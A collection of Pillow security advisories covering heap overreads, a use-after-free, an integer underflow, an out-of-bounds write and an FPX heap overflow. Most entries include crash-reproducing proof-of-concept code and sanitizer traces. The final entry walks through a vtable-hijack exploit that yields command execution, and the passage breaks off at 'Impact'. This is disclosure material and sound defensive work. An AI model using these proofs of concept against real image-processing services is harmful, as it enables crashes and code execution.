PyEval_EvalCode+0x9c (python3.14:arm64+0x10015d864) #&#8203;7 0x000102f3fa14 in run_mod.llvm.1224844961852478530+0x120 (python3.14:arm64+0x10016ba14) #&#8203;8 0x000103063eb0 in pyrun_file+0xa0 (python3.14:arm64+0x10028feb0) #&#8203;9 0x000102dfe834 in _PyRun_SimpleFileObject+0xfc (python3.14:arm64+0x10002a834) #&#8203;10 0x00010306cb60 in _PyRun_AnyFileObject+0x4c (python3.14:arm64+0x100298b60) #&#8203;11 0x00010306ca54 in pymain_run_file_obj+0xa0 (python3.14:arm64+0x100298a54) #&#8203;12 0x000102ffb80c in pymain_run_file+0x44 (python3.14:arm64+0x10022780c) #&#8203;13 0x000102ff7d0c in Py_RunMain+0x46c (python3.14:arm64+0x100223d0c) #&#8203;14 0x000102fb0820 in pymain_main.llvm.7308572997346072671+0x1cc (python3.14:arm64+0x1001dc820) #&#8203;15 0x000102fb0644 in main+0x20 (python3.14:arm64+0x1001dc644) #&#8203;16 0x000194c86b94 (<unknown module>) 0x602000037374 is located 0 bytes after 4-byte region [0x602000037370,0x602000037374) allocated by thread T0 here: #&#8203;0 0x0001044a130c in malloc+0x78 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x3d30c) #&#8203;1 0x000102f22324 in newarrayobject+0x6c (python3.14:arm64+0x10014e324) #&#8203;2 0x000102f21b4c in array_new+0x320 (python3.14:arm64+0x10014db4c) #&#8203;3 0x0001030fc390 in type_call+0x5c (python3.14:arm64+0x100328390) #&#8203;4 0x000102e58ae4 in _TAIL_CALL_CALL.llvm.12785051352303791014+0x668 (python3.14:arm64+0x100084ae4) #&#8203;5 0x000102f1c17c in _PyEval_Vector+0x308 (python3.14:arm64+0x10014817c) #&#8203;6 0x000102f31864 in PyEval_EvalCode+0x9c (python3.14:arm64+0x10015d864) #&#8203;7 0x000102f3fa14 in run_mod.llvm.1224844961852478530+0x120 (python3.14:arm64+0x10016ba14) #&#8203;8 0x000103063eb0 in pyrun_file+0xa0 (python3.14:arm64+0x10028feb0) #&#8203;9 0x000102dfe834 in _PyRun_SimpleFileObject+0xfc (python3.14:arm64+0x10002a834) #&#8203;10 0x00010306cb60 in _PyRun_AnyFileObject+0x4c (python3.14:arm64+0x100298b60) #&#8203;11 0x00010306ca54 in pymain_run_file_obj+0xa0 (python3.14:arm64+0x100298a54) #&#8203;12 0x000102ffb80c in pymain_run_file+0x44 (python3.14:arm64+0x10022780c) #&#8203;13 0x000102ff7d0c in Py_RunMain+0x46c (python3.14:arm64+0x100223d0c) #&#8203;14 0x000102fb0820 in pymain_main.llvm.7308572997346072671+0x1cc (python3.14:arm64+0x1001dc820) #&#8203;15 0x000102fb0644 in main+0x20 (python3.14:arm64+0x1001dc644) #&#8203;16 0x000194c86b94 (<unknown module>) SUMMARY: AddressSanitizer: heap-buffer-overflow (_imaging.cpython-314-darwin.so:arm64+0xb4680) in unpackP2L+0x17c Shadow bytes around the buggy address: 0x602000037080: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa 0x602000037100: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa 0x602000037180: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa 0x602000037200: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa 0x602000037280: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa =>0x602000037300: fa fa 00 fa fa fa 00 00 fa fa fd fa fa fa[04]fa 0x602000037380: fa fa 04 fa fa fa fd fd fa fa fd fd fa fa fd fd 0x602000037400: fa fa fd fd fa fa fd fd fa fa fd fa fa fa 00 fa 0x602000037480: fa fa 01 fa fa fa fa fa fa fa fa fa fa fa fa fa 0x602000037500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x602000037580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ``` </details> (To get it to scream differently about `unpackP4L`, comment out the P;2L case.) The above output is with `unpackP2L` and `unpackP4L` off 5eee92031a1986dfdaac7c78cdf0b764c0697118 lazily instrumented to print out what it's reading: <details> ```patch diff --git a/src/libImaging/Unpack.c b/src/libImaging/Unpack.c index a51568209..4f867737a 100644 --- a/src/libImaging/Unpack.c +++ b/src/libImaging/Unpack.c @@ -548,6 +548,8 @@ unpackP4(UINT8 *out, const UINT8 *in, int pixels) { } } +#include <stdio.h> + static void unpackP2L(UINT8 *out, const UINT8 *in, int pixels) { int i, j, m, s; @@ -555,6 +557,8 @@ unpackP2L(UINT8 *out, const UINT8 *in, int pixels) { m = 128; s = (pixels + 7) / 8; for (i = j = 0; i < pixels; i++) { + fprintf(stderr, "unpackP2L: in=%p i=%d j=%d pixels=%d reads %p %p\n", + in, i, j, pixels, in + j, in + j + s); out[i] = ((in[j] & m) ? 1 : 0) + ((in[j + s] & m) ? 2 : 0); if ((m >>= 1) == 0) { m = 128; @@ -570,6 +574,8 @@ unpackP4L(UINT8 *out, const UINT8 *in, int pixels) { m = 128; s = (pixels + 7) / 8; for (i = j = 0; i < pixels; i++) { + fprintf(stderr, "unpackP4L: in=%p i=%d j=%d pixels=%d reads %p %p %p %p\n", + in, i, j, pixels, in + j, in + j + s, in + j + 2 * s, in + j + 3 * s); out[i] = ((in[j] & m) ? 1 : 0) + ((in[j + s] & m) ? 2 : 0) + ((in[j + 2 * s] & m) ? 4 : 0) + ((in[j + 3 * s] & m) ? 8 : 0); if ((m >>= 1) == 0) { ``` </details> ##### Impact Only a very specific use case is affected: `Image.frombytes()` or `Image.frombuffer()` calls of the shape above. The PCX decoder, which is the only Pillow-internal user of the P;2L and P;4L unpackers, already re-packs PCX rows into a format where overreads aren't an issue. The impact is that up to 1 byte (`P;2L`) or 3 bytes (`P;4L`) of heap memory following the caller's buffer are read and mixed into the pixel values of the last decoded row(s), one bit per affected plane per pixel. A crash is also possible if the read reaches unmapped memory. As far as I can tell, all published Pillow versions are affected. ##### Notes These findings were momentarily public (though in no detail) in https://github.com/python-pillow/Pillow/pull/9723#issuecomment-5566006996; Andrew asked to retract the comment and post this instead. #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-4558-3h8r-v8xp](https://github.com/python-pillow/Pillow/security/advisories/GHSA-4558-3h8r-v8xp) - [https://nvd.nist.gov/vuln/detail/CVE-2026-112394](https://nvd.nist.gov/vuln/detail/CVE-2026-112394) - [https://github.com/python-pillow/Pillow/pull/9723](https://github.com/python-pillow/Pillow/pull/9723) - [https://github.com/python-pillow/Pillow/commit/392ee6f0d19a4adb766a63e9a99f3c28193b8d31](https://github.com/python-pillow/Pillow/commit/392ee6f0d19a4adb766a63e9a99f3c28193b8d31) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-4558-3h8r-v8xp) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow tiled-TIFF decoder reads past tile buffer in copy4 (Unpack.c:1290) BIT-pillow-2026-112395 / [CVE-2026-112395](https://nvd.nist.gov/vuln/detail/CVE-2026-112395) / [GHSA-462x-pgg6-55fp](https://github.com/advisories/GHSA-462x-pgg6-55fp) <details> <summary>More information</summary> #### Details ##### Summary Pillow's libImaging `_decodeTile` decoder, used to decode tiled TIFF images, allocates a per-tile buffer using `realloc(state->buffer, TIFFTileSize(tiff))`. After each `TIFFReadTile` it then iterates `tile_y` from 0 up to `current_tile_length` and calls the configured row unpacker (here `copy4`) with the source pointer `state->buffer + tile_y * row_byte_size`. When libtiff returns a `tile_bytes_size` smaller than the worst-case `row_byte_size * tile_length`, the inner stride-and-copy loop walks past the realloc'd region and `copy4` performs a 1024-byte `memcpy` that reads up to `(tile_length-1) * row_byte_size + row_byte_size` bytes from a buffer sized only to `tile_bytes_size`. The supplied PoC TIFF triggers a 1024-byte over-read exactly 0 bytes past a 196608-byte allocation. An attacker who can convince a Pillow-using application to decode a crafted TIFF can trigger a process crash (DoS) and may cause adjacent heap memory to be copied into the decoded pixel buffer. ##### Details Pillow's TIFF decoder, when libtiff reports the file is tiled, takes the `_decodeTile` path. The function: 1. Asks libtiff for `TIFFTileSize(tiff)` (the bytes-per-tile) and `TIFFTileRowSize(tiff)` (the bytes per row *as stored by libtiff*). 2. Reallocates `state->buffer` to exactly `tile_bytes_size`. 3. For each tile origin `(x, y)` and each plane, calls `TIFFReadTile` into `state->buffer`, then walks the tile row by row, calling the configured `ImagingShuffler` (here `copy4`) on each row's worth of source bytes. The validation done before the loop is: ```c if (tile_bytes_size > ((tile_length * state->bits / planes + 7) / 8) * tile_width) { state->errcode = IMAGING_CODEC_BROKEN; return -1; } ``` This rejects oversized libtiff tiles, but it does **not** reject *undersized* ones — i.e. the case where libtiff returns a `tile_bytes_size` strictly **less** than `row_byte_size * tile_length`. The loop body, however, indexes into the buffer assuming the buffer is at least `row_byte_size * tile_length` bytes long. ##### Vulnerable Code ```c // src/libImaging/TiffDecode.c:446-490 — _decodeTile new_data = realloc(state->buffer, state->bytes); // bytes = tile_bytes_size if (!new_data) { ... } state->buffer = new_data; for (y = state->yoff; y < state->ysize; y += tile_length) { for (plane = 0; plane < planes; plane++) { ImagingShuffler shuffler = unpackers[plane]; for (x = state->xoff; x < state->xsize; x += tile_width) { if (TIFFReadTile(tiff, (tdata_t)state->buffer, x, y, 0, plane) == -1) { ... } current_tile_width = min((INT32)tile_width, state->xsize - x); current_tile_length = min((INT32)tile_length, state->ysize - y); for (tile_y = 0; tile_y < current_tile_length; tile_y++) { shuffler( (UINT8 *)im->image[tile_y + y] + x * im->pixelsize, state->buffer + tile_y * row_byte_size, // <-- OOB stride current_tile_width ); } } } } ``` ```c // src/libImaging/Unpack.c:1288-1291 — copy4 (the crash site) static void copy4(UINT8 *out, const UINT8 *in, int pixels) { /* RGBA, CMYK quadruples */ memcpy(out, in, 4 * pixels); // <-- ASAN-detected READ here } ``` The PoC's tile metadata yields `tile_width = tile_length = 256`, `row_byte_size = 1024` (4 bytes/pixel × 256 pixels), and `tile_bytes_size = 196608` (which is 256·256·3 = three-channel-byte storage). The realloc'd buffer is 196608 bytes. The unpacker iterates `tile_y` from 0 to 255 and for the highest rows the source pointer `state->buffer + tile_y * 1024` already lies at or past offset 196608 — the very last row's `memcpy(in=buffer+255·1024, 1024)` reads 1024 bytes starting `260096 - 196608 = 63488` bytes past the allocation; ASAN flags the very first byte past the heap region (`READ of size 1024 at … 0 bytes after 196608-byte region`). The mismatch is real: libtiff's `TIFFTileSize` returns the *packed* per-tile storage (which depends on the file's photometric/separation layout — it can legitimately be smaller than `row_byte_size × tile_length`), while the inner loop strides as if the buffer always equals `row_byte_size × tile_length`. ##### Attribution This issue was found by Anthropic from using Claude to study security of open source projects, and I am from Ada Logics helping validate the found issues and report to maintainers. The data in this report has been reviewed manually. #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-462x-pgg6-55fp](https://github.com/python-pillow/Pillow/security/advisories/GHSA-462x-pgg6-55fp) - [https://nvd.nist.gov/vuln/detail/CVE-2026-112395](https://nvd.nist.gov/vuln/detail/CVE-2026-112395) - [https://github.com/python-pillow/Pillow/commit/76869efdbbf2ad7dccd7536520fb61b7a00ab61e](https://github.com/python-pillow/Pillow/commit/76869efdbbf2ad7dccd7536520fb61b7a00ab61e) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-462x-pgg6-55fp) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: Reachable undefined behavior in native integer operations, potentially leading to denial of service or logic integrity compromise BIT-pillow-2026-96641 / [CVE-2026-96641](https://nvd.nist.gov/vuln/detail/CVE-2026-96641) / [GHSA-4rm8-3hmm-39fg](https://github.com/advisories/GHSA-4rm8-3hmm-39fg) / PYSEC-2026-4340 <details> <summary>More information</summary> #### Details ##### Summary Affected Object and Source Package: Pillow 12.3.0 Source: PyPI sdist pillow-12.3.0.tar.gz SHA-256: 3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce Sink: src/_imaging.c:2809:15, xsize += dx ##### Details The code in Pillow 12.3.0 is: ```c for (xsize = 0; *text; text++) { int dx = self->glyphs[*text].dx; if (dx > 0 && xsize > INT_MAX - dx) { PyErr_SetString(PyExc_OverflowError, "Width too large"); return -1; } xsize += dx; } ``` The PILfont glyph advance is parsed from a signed 16-bit field, so the valid range for `dx` is `[-32768, 32767]`. The existing check only proves: `dx > 0 => xsize <= INT_MAX - dx` It does **not** prove the other half of the contract: `dx < 0 => xsize >= INT_MIN - dx` Taking `dx = -32768` and repeating it 65,537 times, the mathematical sum is `-2,147,516,416`, which is less than `INT_MIN = -2,147,483,648`. On the 65,537th addition, the operation `-2147483648 + -32768` is performed, resulting in **C signed overflow undefined behavior**. ##### PoC ```python """Minimal public-API reproducer for the Pillow 12.3.0 textwidth underflow. Run with an ordinary Pillow 12.3.0 build to observe the wrapped width, or with the PyC-Contract UBSan build to obtain the exact native diagnostic. """ from __future__ import annotations import struct from io import BytesIO import PIL from PIL import Image, ImageFont ADVANCE = -(2**15) CONTROL_REPEAT = 65_536 WITNESS_REPEAT = 65_537 def bitmap_font(advance: int) -> ImageFont.ImageFont: metrics = bytearray(256 * 20) glyph_offset = ord("A") * 20 metrics[glyph_offset : glyph_offset + 2] = struct.pack(">h", advance) font_data = b"PILfont\n;;;;;;1;\nDATA\n" + bytes(metrics) font = ImageFont.ImageFont() font._load_pilfont_data(BytesIO(font_data), Image.new("1", (1, 1))) return font def main() -> None: font = bitmap_font(ADVANCE) print(f"Pillow={PIL.__version__}") print(f"control_math={ADVANCE * CONTROL_REPEAT}") print(f"control_return={font.getlength('A' * CONTROL_REPEAT)}") print(f"witness_math={ADVANCE * WITNESS_REPEAT}") print(f"witness_return={font.getlength('A' * WITNESS_REPEAT)}") if __name__ == "__main__": main() ``` Observations from a regular 12.3.0 release build: ```text Pillow=12.3.0 control_math=-2147483648 control_return=0 witness_math=-2147516416 witness_return=2147450880 ``` The adjacent control uses 65,536 repetitions, producing a mathematical result of exactly `INT_MIN`, and the function subsequently returns 0 according to existing semantics. Adding just a single character flips the return value to `2,147,450,880`. ##### Impact The directly confirmed impact is width semantic integrity violation: getlength() and boundary calculations based on getsize() may return a huge positive value, while the true mathematical width is negative. The high-level getmask() typically passes through the decompression-bomb check, which mitigates the risk of direct massive allocation; however, internal font objects and applications that use the width for layout, quotas, serialization, or subsequent allocations may be affected by resource consumption or logic errors. Therefore, the current recommended severity rating is "Reachable native integer undefined behavior, with potential DoS/logic integrity impact; specific security severity to be confirmed by the upstream threat model", rather than a memory corruption vulnerability. ##### Recommended Patch and Regression Tests It is recommended to extend the overflow check to cover both directions: ```c if ((dx > 0 && xsize > INT_MAX - dx) || (dx < 0 && xsize < INT_MIN - dx)) { PyErr_SetString(PyExc_OverflowError, "Width too large"); return -1; } ``` At a minimum, four test cases should be added: 1. `dx = 32767, repeat = 65538` — upper adjacent control (should succeed); 2. `dx = 32767, repeat = 65539` — should raise `OverflowError`; 3. `dx = -32768, repeat = 65536` — lower adjacent control (should succeed); 4. `dx = -32768, repeat = 65537` — should raise `OverflowError`. Additionally, it should be verified that exception propagation is consistent across `getlength()`, `getbbox()`, `getmask()`, and the underlying `font.getsize()`. #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-4rm8-3hmm-39fg](https://github.com/python-pillow/Pillow/security/advisories/GHSA-4rm8-3hmm-39fg) - [https://nvd.nist.gov/vuln/detail/CVE-2026-96641](https://nvd.nist.gov/vuln/detail/CVE-2026-96641) - [https://github.com/python-pillow/Pillow/pull/10010](https://github.com/python-pillow/Pillow/pull/10010) - [https://github.com/python-pillow/Pillow/commit/80de4be9e38d3a6148dd4d8491eb80cd12b760a4](https://github.com/python-pillow/Pillow/commit/80de4be9e38d3a6148dd4d8491eb80cd12b760a4) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-4rm8-3hmm-39fg) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: Heap use-after-free when encoding TIFF to an in-memory buffer BIT-pillow-2026-112396 / [CVE-2026-112396](https://nvd.nist.gov/vuln/detail/CVE-2026-112396) / [GHSA-4rr5-89j8-mwwm](https://github.com/advisories/GHSA-4rr5-89j8-mwwm) / PYSEC-2026-4328 <details> <summary>More information</summary> #### Details ##### Summary Saving an image as TIFF to an in-memory buffer can trigger a heap use-after-free if libtiff rejects a tag at encode time. When `TIFFWriteScanline` fails, the encoder frees its output buffer but leaves the libtiff handle open. Later, when the encoder object is torn down, `TIFFClose` flushes buffered bytes through the write callback and writes into the freed buffer. An application that re-encodes attacker-influenced images to TIFF in memory can be crashed and is a candidate for remote code execution. ##### Details The failure path in `ImagingLibTiffEncode` frees `clientstate->data` for the in-memory case but does not close the TIFF or null `clientstate->tiff` (the file-descriptor branch just above it does set `tiff = NULL`): - `src/libImaging/TiffDecode.c:1041-1046` Teardown then calls `ImagingLibTiffEncodeCleanup`, which runs `TIFFClose(tiff)` because `tiff` is still set: - `src/encode.c:99-101` - `src/libImaging/TiffDecode.c:955` `TIFFClose` flushes through `_tiffWriteProc`, which reallocs and memcpys into the freed `state->data`: - `src/libImaging/TiffDecode.c:103-115` The Predictor tag is a convenient trigger: the floating-point predictor (value 3) is invalid for integer sample data, so libtiff aborts the write. ##### PoC ```python import io from PIL import Image ##### In-memory TIFF re-encode. libtiff rejects Predictor=3 (floating point) on integer ##### data, so TIFFWriteScanline fails. The encoder frees clientstate->data but leaves the ##### TIFF open; cleanup's TIFFClose then writes through the callback into the freed buffer. im = Image.new("L", (64, 64)) buf = io.BytesIO() im.save(buf, format="TIFF", compression="tiff_lzw", tiffinfo={317: 3}) # 317 = Predictor ``` Run it: ``` $ python 01_poc.py PredictorSetup: Floating point "Predictor" not supported with 1 data format. OSError: encoder error -2 when writing image file Segmentation fault (core dumped) ``` Observed on a source build of commit `3e2ab96` with libtiff. The process aborts during cleanup after the encoder error. Depending on heap state the same run sometimes reports `corrupted double-linked list` instead of a segfault; both are the same write into freed memory. Under AddressSanitizer (build with `-fsanitize=address`), relevant frames: ``` ==ERROR: AddressSanitizer: heap-use-after-free on address 0x7ef737b48804 WRITE of size 4 at 0x7ef737b48804 thread T0 #&#8203;1 _tiffWriteProc src/libImaging/TiffDecode.c:115 #&#8203;3 TIFFFlush libtiff.so.6 #&#8203;5 TIFFClose libtiff.so.6 #&#8203;6 ImagingLibTiffEncodeCleanup src/libImaging/TiffDecode.c:955 #&#8203;7 _dealloc src/encode.c:100 freed by thread T0 here: #&#8203;1 ImagingLibTiffEncode src/libImaging/TiffDecode.c:1045 #&#8203;2 _encode src/encode.c:139 previously allocated by thread T0 here: #&#8203;1 ImagingLibTiffEncodeInit src/libImaging/TiffDecode.c:863 #&#8203;2 PyImaging_LibTiffEncoderNew src/encode.c:757 SUMMARY: AddressSanitizer: heap-use-after-free src/libImaging/TiffDecode.c:115 in _tiffWriteProc ``` The buffer allocated in `ImagingLibTiffEncodeInit` is freed in `ImagingLibTiffEncode`, then written by `_tiffWriteProc` during the `TIFFClose` flush that runs from the encoder's `_dealloc`. ##### Impact Use-after-free in a C extension. Affects any service that converts or thumbnails untrusted images to TIFF in memory (a `BytesIO` or other non-seekable target). Result is a crash and possible memory corruption leading to code execution. #### Severity - CVSS Score: 5.9 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-4rr5-89j8-mwwm](https://github.com/python-pillow/Pillow/security/advisories/GHSA-4rr5-89j8-mwwm) - [https://nvd.nist.gov/vuln/detail/CVE-2026-112396](https://nvd.nist.gov/vuln/detail/CVE-2026-112396) - [https://github.com/python-pillow/Pillow/commit/dc95da20207827a062cfbf551ee9f6031465a8bb](https://github.com/python-pillow/Pillow/commit/dc95da20207827a062cfbf551ee9f6031465a8bb) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-4rr5-89j8-mwwm) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: Out-of-bounds access in _imagingmorph on a zero-width image BIT-pillow-2026-112397 / [CVE-2026-112397](https://nvd.nist.gov/vuln/detail/CVE-2026-112397) / [GHSA-58r4-6rv3-gfh8](https://github.com/advisories/GHSA-58r4-6rv3-gfh8) / PYSEC-2026-4329 <details> <summary>More information</summary> #### Details ##### Summary A PPM or PGM file can declare a width of 0, which Pillow accepts, producing an image of size `(0, N)`. Passing that image to `ImageMorph.MorphOp.apply()` makes the native morphology code index a row buffer at `outrow[width - 1]`, which is `outrow[-1]` when the width is 0. The process crashes. ##### Details The PPM parser reads width and height with no lower-bound check: - `src/PIL/PpmImagePlugin.py:119` The native `apply()` writes the row edges with no guard that the width is positive: - `src/_imagingmorph.c:81` sets `outrow[0] = outrow[width - 1] = 0;` `match()` and `get_on_pixels()` use the same edge-indexing pattern. ##### PoC ```python from PIL import Image, ImageMorph ##### A width-0 image (also producible from a crafted PPM header). apply() indexes ##### outrow[width - 1] == outrow[-1] in native code. im = Image.new("L", (0, 5)) ImageMorph.MorphOp(op_name="dilation4").apply(im) ``` Run it: ``` $ python 03_poc.py Segmentation fault (core dumped) ``` Observed on a source build of commit `3e2ab96`. Under AddressSanitizer: ``` ==ERROR: AddressSanitizer: SEGV on unknown address (pc ... in apply) #&#8203;0 apply src/_imagingmorph.c:81 SUMMARY: AddressSanitizer: SEGV src/_imagingmorph.c:81 in apply ``` With width 0 the `outrow[width - 1]` write lands on an unmapped page, so it surfaces as a SEGV pinned to the edge-write line rather than a redzone overflow. ##### Impact Out-of-bounds write in a C extension. Affects any application that runs a morphology operation on an image opened from untrusted input. Result is a crash and possible memory corruption. #### Severity - CVSS Score: 8.7 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-58r4-6rv3-gfh8](https://github.com/python-pillow/Pillow/security/advisories/GHSA-58r4-6rv3-gfh8) - [https://nvd.nist.gov/vuln/detail/CVE-2026-112397](https://nvd.nist.gov/vuln/detail/CVE-2026-112397) - [https://github.com/python-pillow/Pillow/commit/18f7c0dfee93063c51db6ed0ca8c4da2999dcb64](https://github.com/python-pillow/Pillow/commit/18f7c0dfee93063c51db6ed0ca8c4da2999dcb64) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-58r4-6rv3-gfh8) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: Heap buffer overflow in FlashPix (FPX) JPEG decoding leads to code execution BIT-pillow-2026-112398 / [CVE-2026-112398](https://nvd.nist.gov/vuln/detail/CVE-2026-112398) / [GHSA-5x8w-8jj5-q52h](https://github.com/advisories/GHSA-5x8w-8jj5-q52h) / PYSEC-2026-4330 <details> <summary>More information</summary> #### Details ##### Credits **Researcher**: Alex Bouffard (mixbo@pebwalker.com) ##### Summary A heap buffer overflow in Pillow's FlashPix (FPX) JPEG-tile decoder lets an attacker achieve arbitrary code execution by getting an application to open a single crafted file with `Image.open()`. The file is recognized by content (the OLE2 magic), not by extension, so any service that opens or thumbnails untrusted uploads with the optional `olefile` dependency installed is reachable with no user interaction. In the PoC below, opening one crafted file executes an attacker-chosen command on stock Pillow 12.2.0 (x86_64 Ubuntu 24.04, glibc 2.39). ##### Details `FpxImagePlugin` decodes FlashPix (FPX) files, which are OLE2/CFBF compound documents. `Image.open()` auto-detects them from the OLE2 magic `D0CF11E0...` whenever the optional `olefile` package is installed (Pillow's documented dependency for FPX/MIC support), regardless of the file's extension. For a JPEG-compressed subimage (`compression == 2`), the plugin builds a `"jpeg"` decode tile and derives the `(rawmode, jpegmode)` pair from attacker-controlled FPX color IDs through the `MODES` table ([`src/PIL/FpxImagePlugin.py` L25-L32](https://github.com/python-pillow/Pillow/blob/12.2.0/src/PIL/FpxImagePlugin.py#L25-L32)): ```python MODES = { ... (0x00018000, 0x00017FFE): ("RGBA", "LA"), # rawmode "LA" (2 bytes/pixel) ... (0x00020000, 0x00020001, 0x00020002): ("RGB", "YCC;P"), # rawmode "YCC;P" } ``` The Imaging output buffer for the tile is sized for the rawmode (here `"LA"` = 2 bytes/pixel) ([`src/decode.c` L223-L226](https://github.com/python-pillow/Pillow/blob/12.2.0/src/decode.c#L223-L226)): ```c state->bytes = (state->bits * state->xsize + 7) / 8; // "LA" gives 2 * xsize bytes/row ... state->buffer = (UINT8 *)calloc(1, state->bytes); ``` In `JpegDecode.c` the rawmode string is mapped to a libjpeg `out_color_space`. Recognized modes (`CMYK`, `YCbCr`, `YCbCrK`, and so on) get a concrete colorspace, but `"LA"` and `"YCC;P"` are not recognized, so control reaches the fallback branch ([`src/libImaging/JpegDecode.c` L219-L221](https://github.com/python-pillow/Pillow/blob/12.2.0/src/libImaging/JpegDecode.c#L219-L221)): ```c /* Disable decoder conversions. */ context->cinfo.jpeg_color_space = JCS_UNKNOWN; context->cinfo.out_color_space = JCS_UNKNOWN; ``` Under `JCS_UNKNOWN`, libjpeg performs no color conversion and emits `cinfo.num_components` bytes per pixel, taken from the embedded JPEG's SOF marker, which the attacker sets to 4. So `jpeg_read_scanlines` writes `4 * width` bytes per row into a buffer allocated for only `2 * width` bytes ([`src/libImaging/JpegDecode.c` L252](https://github.com/python-pillow/Pillow/blob/12.2.0/src/libImaging/JpegDecode.c#L252)): ```c ok = jpeg_read_scanlines(&context->cinfo, &state->buffer, 1); // writes 4*W into a 2*W buffer ``` This is a heap out-of-bounds write with attacker-controlled length (the image width, up to tens of thousands of pixels, so about `2 * width` bytes of overflow per row) and attacker-controlled content (the decoded pixel data). The PoC weaponizes it: the overflow overwrites an adjacent Python `bytes` object's `ob_type` with a pointer to a fake `PyTypeObject` / `PyBufferProcs` vtable that the same overflow plants inside the decode buffer. When Pillow releases the input buffer, `PyBuffer_Release` walks `ob_type -> tp_as_buffer -> bf_releasebuffer` and executes `call *rax`; the PoC points that at `system@plt` (fixed, the interpreter binary is non-PIE) with `rdi` set to the command string, yielding command execution. ##### PoC To facilitate an exact reproduction on an x86_64 machine, this PoC uses the version-pinned, ASLR-disabled Docker image from [Annex A](#annex-a-docker-setup). The source code for the payload builder `make_payload.py` is in [Annex B](#annex-b-payload-builder-source). `vulnerable.py` is the program under test, a one-liner that opens the file it is given: ```python #!/usr/bin/env python3 ##### The entire vulnerable operation an application performs on an untrusted file. import sys from PIL import Image Image.open(sys.argv[1]).load() ``` The payload is a standalone `.fpx` file the attacker crafts on their own host; the target only ever opens the resulting file, so building it requires no access to or code execution on the target. We run `make_payload.py` inside the same container here purely for convenience, so its baked-in addresses (`--offset`, `system@plt`) match this pinned image. The payload redirects the hijacked indirect call to `system@plt` (`0x4206c0`, fixed because the interpreter binary is non-PIE) with a baked-in command: ```console $ python3 make_payload.py --target 0x4206c0 --cmd id --out shell.fpx [control] shell.fpx: S=0xdc8800 target=0x4206c0 cmd='id' craft_iters=0 bad=0 [control] opening it: vtable hijack -> call *0x4206c0 with rdi -> 'id' ``` Then open it with `vulnerable.py`: ```console $ python3 vulnerable.py shell.fpx uid=0(root) gid=0(root) groups=0(root) corrupted size vs. prev_size ``` `Image.open()` of the crafted file runs the baked command via `system("id")`: command execution as the user running the image processing (root in the container). The trailing `corrupted size vs. prev_size` is glibc aborting during interpreter teardown over the corrupted heap, after `id` has already run. The builder writes the command inline at the hijacked `rdi`, so `--cmd` is limited to 7 bytes (for example `id`, `id;w`). `--offset` and `system@plt` are constants of the pinned, ASLR-disabled image and hold across runs of it. ##### Impact 